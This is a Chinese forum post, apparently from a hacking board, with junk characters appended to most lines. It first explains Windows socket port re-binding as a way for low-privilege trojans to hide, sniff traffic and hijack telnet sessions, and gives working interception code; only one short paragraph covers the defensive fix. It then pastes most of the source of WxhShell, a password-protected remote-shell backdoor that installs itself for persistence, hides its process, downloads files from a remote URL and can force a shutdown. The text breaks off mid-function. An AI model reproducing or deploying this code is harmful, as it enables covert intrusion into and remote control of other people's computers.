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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  =1Sny7G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :01d9|#  
;mU;+~YE  
  saddr.sin_family = AF_INET; EVqW(|Xg  
h< r(:.%!}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PGP#$JC  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KHAc!4lA  
~!Nj DDk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fmuh 9Z  
"A}sD7xy9  
  这意味着什么?意味着可以进行如下的攻击: 6'^E ],:b  
;TJpD0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n*7^lAa2  
+c~&o83[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]:gW+6w"C  
Ok_}d&A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w#b@6d  
zQyI4RHG[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hBX*02p   
M3jUnp&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q6HJ+H-Ub  
N\PdX$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ur])*#  
,4Q4{Tx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RzqgN*]lY  
-hXKCb4YU  
  #include !.6n=r8 d  
  #include F{ %*(U  
  #include @U_ CnhPQq  
  #include    ef`_ n+`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `<nxXsLe  
  int main() gq?7O<  
  { fd )v{OC  
  WORD wVersionRequested; 2f[;U"  
  DWORD ret; WLl8oE< X  
  WSADATA wsaData; M@xU59$@  
  BOOL val; G(7%*@SX  
  SOCKADDR_IN saddr; i O$87!  
  SOCKADDR_IN scaddr; ~M}{rl.n=  
  int err; }b\hRy~=r  
  SOCKET s; }nlS&gew^  
  SOCKET sc; J%CCUl2  
  int caddsize; g!XC5*}  
  HANDLE mt; +.!D>U$)}  
  DWORD tid;   F^.A~{&L  
  wVersionRequested = MAKEWORD( 2, 2 ); fbh,V%t7  
  err = WSAStartup( wVersionRequested, &wsaData ); NT+.E[J6  
  if ( err != 0 ) { =^KgNQ   
  printf("error!WSAStartup failed!\n"); |6 Q5bV  
  return -1; CGi;M=xr  
  } v@=qVwX  
  saddr.sin_family = AF_INET; @-sWXz*W  
   ,>-jZtm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !h.hJt  
HV~Fe!J_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9O 'j+?(`@  
  saddr.sin_port = htons(23);  >:-e  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HEVj K$  
  { "Wj{+ |f  
  printf("error!socket failed!\n"); w^0hVrws=,  
  return -1; / dJz?0  
  } hVF^ "$  
  val = TRUE; 3:iEt (iCI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S"&Gutu3o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~2Wus8X-  
  { ?h[HC"V/2  
  printf("error!setsockopt failed!\n"); {'M<dI$  
  return -1; -Rpra0o. C  
  } (I$%6JO:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m#'eDO:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UQu6JkbLL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UQDAql  
MKfK9>a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pT|s#-}  
  { }<^mUG  
  ret=GetLastError(); OInl?_,,T#  
  printf("error!bind failed!\n"); "SMJ:g",  
  return -1; t$$YiO  
  } bny5e:= d  
  listen(s,2); !Aj}sh{  
  while(1) >Hnm.?-AWl  
  { *:n7B\.  
  caddsize = sizeof(scaddr); f]r*;YEc4  
  //接受连接请求 u ]"fwkL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 67(s\  
  if(sc!=INVALID_SOCKET) }.A]=Ew  
  { )g'J'_Sl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V*@aE  
  if(mt==NULL) 5REFz  
  { 0OM^,5%8  
  printf("Thread Creat Failed!\n"); M=raKb?F  
  break; p3Ux%/ZqPV  
  } \#,2#BmO"E  
  } ZPH_s^  
  CloseHandle(mt); 2p&$bf t  
  } @*y4uI6&  
  closesocket(s); Z{B  e  
  WSACleanup(); fn,n'E]  
  return 0; ],weqs  
  }   a<&K^M&  
  DWORD WINAPI ClientThread(LPVOID lpParam) <G}Lc  
  { d3c.lD)L9  
  SOCKET ss = (SOCKET)lpParam; Tow=B  
  SOCKET sc; _3aE]\O[  
  unsigned char buf[4096]; Ca0s m  
  SOCKADDR_IN saddr; `$/a-K}  
  long num; }? _KZ)  
  DWORD val; SZW_V6\t>  
  DWORD ret; VNTbjn]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Odo)h  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    @*eY~  
  saddr.sin_family = AF_INET; P gA<pfEHE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ` Tap0V  
  saddr.sin_port = htons(23); tBGLEeL/.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `TPIc  
  { U\P4ts  
  printf("error!socket failed!\n"); K80f_ iT 5  
  return -1; ,,u hEoH  
  } ;8^k=8  
  val = 100; H1c8]}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {g.YGO  
  { YIRe__7-NU  
  ret = GetLastError(); (c[u_~ ;  
  return -1; TX=894{nGh  
  } ym|7i9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \}Am]Y/ w  
  { FygNWI'  
  ret = GetLastError(); +#eol~j9N  
  return -1; sMMOZ'bT  
  } Aars\   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {rcN_N%  
  { s;I @En  
  printf("error!socket connect failed!\n"); "<=4]Z  
  closesocket(sc); g8.z?Ia#5Z  
  closesocket(ss); IB&G#2M<  
  return -1; /ugWl99.W  
  } Da 7(jA+  
  while(1) I$.lFQ%(  
  { GKFRZWXdT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7K.75%}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w(V%EEk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (B4)L%  
  num = recv(ss,buf,4096,0); i?!9%U!z4  
  if(num>0) rci,&>L"  
  send(sc,buf,num,0); av!;k2"  
  else if(num==0) C4(xtSJSd!  
  break; cjL)M=pIS  
  num = recv(sc,buf,4096,0); a_c(7bQ  
  if(num>0) pL,XHR@Iv  
  send(ss,buf,num,0); fx|d"VF[  
  else if(num==0) t}k:wzZ@  
  break; b@CjnAZ  
  } 6]iU-k0b  
  closesocket(ss); W+a/>U  
  closesocket(sc); #HgN wM  
  return 0 ; #A5X ,-4G  
  } UE^o}Eyg  
W!<7OA g$  
C_N|o|dX  
========================================================== Z 01A~_  
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下边附上一个代码,,WXhSHELL {`D]%eRO  
Gl>\p  
========================================================== D`@a*YIq  
wKpBH}  
#include "stdafx.h" J+t51B(a  
O(I^:_eH  
#include <stdio.h> !-`L1D_hy  
#include <string.h> %w^*7Oi  
#include <windows.h> A{s -g>s  
#include <winsock2.h> /C8}5)  
#include <winsvc.h> MJiVFfYW  
#include <urlmon.h> ntH`\ )xi  
F2 B(PGa7  
#pragma comment (lib, "Ws2_32.lib") Cdz?+hb  
#pragma comment (lib, "urlmon.lib") 0 8)f  
\=WPJm`p  
#define MAX_USER   100 // 最大客户端连接数 T!]rdN!  
#define BUF_SOCK   200 // sock buffer 2vpQ"e- A  
#define KEY_BUFF   255 // 输入 buffer xF{%@t  
_h<rVcl!wX  
#define REBOOT     0   // 重启 KNmU2-%l  
#define SHUTDOWN   1   // 关机 T^;b98*  
N*36rR$^  
#define DEF_PORT   5000 // 监听端口 _]5UuIMl  
KD A8x W  
#define REG_LEN     16   // 注册表键长度 M ]047W  
#define SVC_LEN     80   // NT服务名长度 79;uHR&S  
E "=4(   
// 从dll定义API  +#,J`fV%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 68P'<|u?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (qFZF7(Xa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !AXLoq$SY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >0@w"aKn  
;)h?P.]  
// wxhshell配置信息 CtMqE+j^  
struct WSCFG { h F+aL  
  int ws_port;         // 监听端口 {xg=Ym)  
  char ws_passstr[REG_LEN]; // 口令 We$ n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5[)5K?%  
  char ws_regname[REG_LEN]; // 注册表键名 bK6^<,~  
  char ws_svcname[REG_LEN]; // 服务名 6MM\nIU)/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vk E]$4P[$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i&H^xgm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0]5X Tc3r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  jfK&CA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ifS#9N|8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >rlUV"8jY;  
ynw(wSH=  
}; xY]q[a?cy  
9^DAlY,x.  
// default Wxhshell configuration 'GezIIaH  
struct WSCFG wscfg={DEF_PORT, }*bp4<|  
    "xuhuanlingzhe", EeMKo  
    1, B](R(x>L  
    "Wxhshell", 33<{1Y[Q6E  
    "Wxhshell", 3!F^ vZ.  
            "WxhShell Service", G~y:ZEnN[  
    "Wrsky Windows CmdShell Service", OB9E30  
    "Please Input Your Password: ", E+i(p+=4  
  1, 8SRUqe[H]  
  "http://www.wrsky.com/wxhshell.exe", d8;kM`U  
  "Wxhshell.exe" i tNuY<"  
    }; Fk49~z   
,EHLW4v  
// 消息定义模块 0?ab'vYcp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Jvc<j:{^w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Khd A;bF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *g*"bi*  
char *msg_ws_ext="\n\rExit."; pNd`fV#jX  
char *msg_ws_end="\n\rQuit."; gpyio1V>  
char *msg_ws_boot="\n\rReboot..."; aPlEM_escS  
char *msg_ws_poff="\n\rShutdown..."; uxn+.fA  
char *msg_ws_down="\n\rSave to "; iPl,KjGk  
<xSh13<  
char *msg_ws_err="\n\rErr!"; &-FG}|*4M  
char *msg_ws_ok="\n\rOK!"; m lc8q s  
7~J>Ga  
char ExeFile[MAX_PATH]; kntY2FM  
int nUser = 0; "7EK{6&jQ  
HANDLE handles[MAX_USER]; ^U,iDK_  
int OsIsNt; @8{8|P  
]h1.1@>xc  
SERVICE_STATUS       serviceStatus; i. )^}id  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ].d%R a:{  
m7NWgXJ  
// 函数声明 Es#:0KH].v  
int Install(void); '^m'r+B"  
int Uninstall(void);  Ps.xY;Y  
int DownloadFile(char *sURL, SOCKET wsh); FVkl# Qy~  
int Boot(int flag); 5uG^`H@X  
void HideProc(void); ?@PSD\  
int GetOsVer(void); P9m  
int Wxhshell(SOCKET wsl); |pZ7k#%  
void TalkWithClient(void *cs); ]8wm1_qV  
int CmdShell(SOCKET sock); PeIi@0vA  
int StartFromService(void); j]&Qai~}Y  
int StartWxhshell(LPSTR lpCmdLine); GU`q^q@Ea  
?i_/f}.K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3| w$gG;Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z[VrRT,\c  
B.4e4%BBS  
// 数据结构和表定义 }%}$h2:  
SERVICE_TABLE_ENTRY DispatchTable[] = o|d:rp!^  
{ |WS@q'  
{wscfg.ws_svcname, NTServiceMain}, l8(9?!C  
{NULL, NULL} #Tzs9Bkaca  
}; p#w8$Qjp  
u9Adu`  
// 自我安装 @ NDcO,]  
int Install(void) h-Y>>l>PW0  
{ ~D5FnN9  
  char svExeFile[MAX_PATH]; ]:@{tX 7c  
  HKEY key; 6X9$T11Vc  
  strcpy(svExeFile,ExeFile); An#[ +?  
Y?1T XsvF  
// 如果是win9x系统,修改注册表设为自启动 ZzBaYoNy[0  
if(!OsIsNt) { Y*pXbztP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V?*fl^f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v+xrn z  
  RegCloseKey(key); 8J&9}@y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z[ ;n2o|s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nLAwo3  
  RegCloseKey(key); [4C_iaE  
  return 0; 2k=|p@V n~  
    } Has}oe[  
  } }R}M>^(R4  
} 6oQ7u90z*  
else { O[$X36z  
n~ $S  
// 如果是NT以上系统,安装为系统服务 N:Q.6_%^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0sSBwG  
if (schSCManager!=0) NUb$PT  
{ ~sn3_6{  
  SC_HANDLE schService = CreateService ?s>_^xfD  
  ( QqF*SaO>  
  schSCManager, Uu+ibVM$  
  wscfg.ws_svcname, a!6r&<s=E  
  wscfg.ws_svcdisp, SJ22  
  SERVICE_ALL_ACCESS, "qC3%9e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %4rlB$x  
  SERVICE_AUTO_START, xe6V7Wi/Tt  
  SERVICE_ERROR_NORMAL, xcl;~"c *  
  svExeFile, Ux?G:LLz  
  NULL, D1deh=  
  NULL, %.Btf3y~  
  NULL, 2vB,{/GXP  
  NULL,  8zRw\]?  
  NULL 9wc\~5{li  
  ); ]3|h6KWq  
  if (schService!=0) Pl|I{l*o(`  
  { :T PG~`k(  
  CloseServiceHandle(schService); SF:{PgGMi  
  CloseServiceHandle(schSCManager);  w<!&%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HQ=pf >  
  strcat(svExeFile,wscfg.ws_svcname); ZTqt4H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $l.8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;W+1 H !  
  RegCloseKey(key); ,1|=_M31  
  return 0; i)cG  
    } G,Yctv  
  } t:lDFv4s  
  CloseServiceHandle(schSCManager); B ( h`~pb  
} $B>L_~cS  
} E{-pkqx  
8Rw:SU9H?T  
return 1; zN9@.!?X2  
} MwD+'5   
~ cu+QR)  
// 自我卸载 c uAp,!  
int Uninstall(void) *3RD\.jPX  
{ liB~vdqj  
  HKEY key; *a_QuEw _k  
.'+JA:3R  
if(!OsIsNt) { b)XGr?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZA_~o#0%  
  RegDeleteValue(key,wscfg.ws_regname); p+Bvfn  
  RegCloseKey(key); tIBEja^l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +LWgby4q  
  RegDeleteValue(key,wscfg.ws_regname); # 6?2 2Os  
  RegCloseKey(key); WH $*\IGJL  
  return 0; *x#5S.i1  
  } -"^"& )  
} +&X>ul  
} vcy+p]6KE-  
else { )('{q}JxV  
Nt<Ac&6 s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WpI5C,3Z!l  
if (schSCManager!=0) WV|9d}5  
{ YE"MtL {  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c7?|Tipc  
  if (schService!=0) RvVF^~u  
  { @ *T8>  
  if(DeleteService(schService)!=0) { 3e;K5qSeo/  
  CloseServiceHandle(schService); (|6!pQ7  
  CloseServiceHandle(schSCManager); 7S&O {Q7)  
  return 0; [)[?FG9   
  } +C`vO5\0  
  CloseServiceHandle(schService); {iLr$ 89  
  } RKs_k`N0  
  CloseServiceHandle(schSCManager); .$G^c   
} =`(\]t"I  
} aQ 6T2bQ  
hA~5,K0b  
return 1; aC'#H8e|j  
} CS"k0V44}  
1*@Q~f:Uk  
// 从指定url下载文件 G in  
int DownloadFile(char *sURL, SOCKET wsh) \=W t{  
{ ;P|v'NNI  
  HRESULT hr; l_q1h]/   
char seps[]= "/"; jI}{0LW&F&  
char *token; N~yGtnW  
char *file; h2]G V-  
char myURL[MAX_PATH]; l`K5fk  
char myFILE[MAX_PATH]; ^&c|z35F  
q*J-ii  
strcpy(myURL,sURL); kA4kQ}q  
  token=strtok(myURL,seps); '_=XfTF  
  while(token!=NULL) !Nhq)i  
  { b{e|~v6&  
    file=token; |TBKsx8  
  token=strtok(NULL,seps); v}z{OB  
  } i6h0_q8 >  
CBx5:}t  
GetCurrentDirectory(MAX_PATH,myFILE); | -AR)Smt  
strcat(myFILE, "\\"); c*> SZ'T\  
strcat(myFILE, file); N;,N6&veK/  
  send(wsh,myFILE,strlen(myFILE),0); 6 ^p>f:5  
send(wsh,"...",3,0); K)8 m?sf/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MES|iB  
  if(hr==S_OK) ;{>-K8=>$  
return 0; b WZ X  
else vC5 (  
return 1; e-{4qt  
BA0.B0+"  
} V :4($  
ZZ;V5o6E  
// 系统电源模块 o|a]Q  
int Boot(int flag) n)teX.ck)  
{ fNi_C"<  
  HANDLE hToken; K* 0]*am|v  
  TOKEN_PRIVILEGES tkp; m4T` Tg#P  
nr9c G/"  
  if(OsIsNt) { k{$Mlt?&-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w~9=6|_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h<2O+"^  
    tkp.PrivilegeCount = 1; <~qhy{hRn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9_S>G$9D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8|#p D4e  
if(flag==REBOOT) { !;C *Wsp}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9ev " BO  
  return 0; d`+cNKf  
} MU&P+Wr  
else { F_Mi/pB^`9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G@n%P~  
  return 0; 3UX})mW  
} = l9H]`T/  
  } =}AwA5G  
  else { A|U_$!cLZ  
if(flag==REBOOT) { D3%`vq u&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vo DTU]pf  
  return 0; .!J,9PE  
} E :Y *;  
else { 76*5/J-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~v<,6BS<$Z  
  return 0; u kKp,1xz  
} w,FOq?j^k  
} f9 b=Zm'  
m)9qO7P  
return 1; 2L_ts=  
} bMw)> 4  
lTv_%hUp  
// win9x进程隐藏模块 DV/P/1E  
void HideProc(void) Z-+p+34ytq  
{ (yel  
Ea*Jl<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V qW(S1w  
  if ( hKernel != NULL ) GzUgzj|BN~  
  { 3l@={Ts  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0zAj.iG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L);kwx7{LW  
    FreeLibrary(hKernel); \YBY"J  
  } q,a|lH  
VFMg$qv|_  
return; cx8H.L  
} uU]4)Hp  
=p)Wxk  
// 获取操作系统版本 pJ#R :#P  
int GetOsVer(void) |f0KIb}d  
{ UI 7JMeV  
  OSVERSIONINFO winfo; yVM 1W"Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 29#;;n}p  
  GetVersionEx(&winfo); ewtoAru  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?9801Da#/  
  return 1; `jb?6;15  
  else |EaEdA@T  
  return 0; =e,2/Ep{i  
} Ot]PH[+  
 :RW0<  
// 客户端句柄模块 HJ*W3Mg  
int Wxhshell(SOCKET wsl) a[GlqaQy+-  
{ b='YCa  
  SOCKET wsh; "+ji`{  
  struct sockaddr_in client; #9Z*.  
  DWORD myID; 5xHl6T+  
pr[[)[]/  
  while(nUser<MAX_USER) T(^<sjOs  
{ &4yI]  
  int nSize=sizeof(client); |vnfY; ;z1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <c6C+OWT,  
  if(wsh==INVALID_SOCKET) return 1; k]"Rg2>%  
,g$N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ee##:I[z  
if(handles[nUser]==0) X] /r'Tz  
  closesocket(wsh); s Hu~;)  
else 4PEJ}B W  
  nUser++; ;Q2p~-0Q  
  } j%KLp4J/e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dHnId2@#  
&Fl^&&1C  
  return 0; @W^A%6"j  
} 6;GL>))'  
Oav^BhUO  
// 关闭 socket INrUvD/*  
void CloseIt(SOCKET wsh) TUiXE~8=  
{ :(Feg2c  
closesocket(wsh); t  HPC  
nUser--; g4I&3 M  
ExitThread(0); CV 4r31w  
} vpUS(ztvs  
/9WR>NUAO  
// 客户端请求句柄 *IGgbg[0  
void TalkWithClient(void *cs) n5%rsNxg  
{ eGblQGRS  
SN'LUwaMp!  
  SOCKET wsh=(SOCKET)cs; =1%3". "n@  
  char pwd[SVC_LEN]; l\*}  
  char cmd[KEY_BUFF]; 1HBch]J  
char chr[1]; '@Y@H,  
int i,j; 5_nkN`x  
b'^ -$  
  while (nUser < MAX_USER) { gR(*lXm5w  
M,PZ|=V6a  
if(wscfg.ws_passstr) { Bj J$I^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t.>vLzrU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;EE*#"IJ  
  //ZeroMemory(pwd,KEY_BUFF); xk}YeNVj  
      i=0; lBL;aTzo  
  while(i<SVC_LEN) { ^;$f-e  
  ]5'  
  // 设置超时 "S^;X @#v  
  fd_set FdRead; h]c-x(+  
  struct timeval TimeOut; ?jBna ~  
  FD_ZERO(&FdRead); ~-6Kl3Y  
  FD_SET(wsh,&FdRead); A[!Fg0X0  
  TimeOut.tv_sec=8; 7+j@0v\  
  TimeOut.tv_usec=0; t@!X1?`w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I, .`w/I+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9+SeG\Th  
TjlKy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e0*',  
  pwd=chr[0]; ZV_Z)<  
  if(chr[0]==0xd || chr[0]==0xa) { h&5H`CR[  
  pwd=0; %n9}P , ?  
  break; *#frbV?;  
  } `qSNS->  
  i++; Ps.O.2Z5ZB  
    } uyxU>yHV<g  
>u~ [{(d ,  
  // 如果是非法用户,关闭 socket >&aFSL,f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rGRxofi.  
} IX^k<Jqr  
Jnm{i|6N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f 7et  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7^Jszd:c08  
}jfU qqFd  
while(1) { MlsF?"H p  
9 YU7R)  
  ZeroMemory(cmd,KEY_BUFF); 7 4aap2^  
$[[6N0}*:  
      // 自动支持客户端 telnet标准   or ~o'  
  j=0; OgS6#X  
  while(j<KEY_BUFF) { qw0tw2|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z(>{"t<C  
  cmd[j]=chr[0]; #v')iR"  
  if(chr[0]==0xa || chr[0]==0xd) { {`KgyC W:  
  cmd[j]=0; pR&cdO RsP  
  break; 3. Qf^p  
  } ~7b '4\  
  j++; }` Q'!_`  
    } d^Ra1@0"q2  
 #d*mG =  
  // 下载文件 KcfW+> W3  
  if(strstr(cmd,"http://")) { @|%t<{y^I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); naXo < B  
  if(DownloadFile(cmd,wsh)) DhY9)>4M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iX.=8 ~3  
  else Rmn|"ZK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X!CLOHVA a  
  } Q{H88g^=J  
  else { \h :Rw|  
Zo;@StN3}T  
    switch(cmd[0]) { =1^Ru*G  
  ~DPg):cZ  
  // 帮助 + yS"pOT  
  case '?': { q uv`~qn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bI@+Or  
    break; \"_;rJ{!aE  
  } } ~=53$+  
  // 安装 \Q*3/_}G  
  case 'i': { f&ZxG,]H i  
    if(Install()) >('L2]4\v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :{LVS nG  
    else &.=d,XKN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A T+|}B!  
    break; ZGzrh`j{-  
    } .pi#Z /v  
  // 卸载 }&rf'E9  
  case 'r': { fbwo2qe@K  
    if(Uninstall()) 6}x^ T)R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `wB(J%w  
    else vjZX8KAiZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EiP_V&\  
    break; 5xLuuKG  
    } _myam3[W  
  // 显示 wxhshell 所在路径 E7^tU416  
  case 'p': { ')bx1gc(?  
    char svExeFile[MAX_PATH]; o&;+!Si@T  
    strcpy(svExeFile,"\n\r"); {NKDmeg:D  
      strcat(svExeFile,ExeFile); ;r- \h1iA'  
        send(wsh,svExeFile,strlen(svExeFile),0); //Hn[wEOh  
    break; Kdx?s;i  
    } ,, ]y 8P  
  // 重启 A:p7\Kp;5}  
  case 'b': { 5^GUuFt5m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E} Uy-  
    if(Boot(REBOOT)) }/(fe`7:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?*4&Z.~J  
    else { isDBNXV:  
    closesocket(wsh); 8\. #  
    ExitThread(0); 0D|^S<z6  
    } o*f7/ZP1o  
    break; (IIOKx_  
    } d|j3E  
  // 关机 'e7<&wm ia  
  case 'd': { 8Th|'  
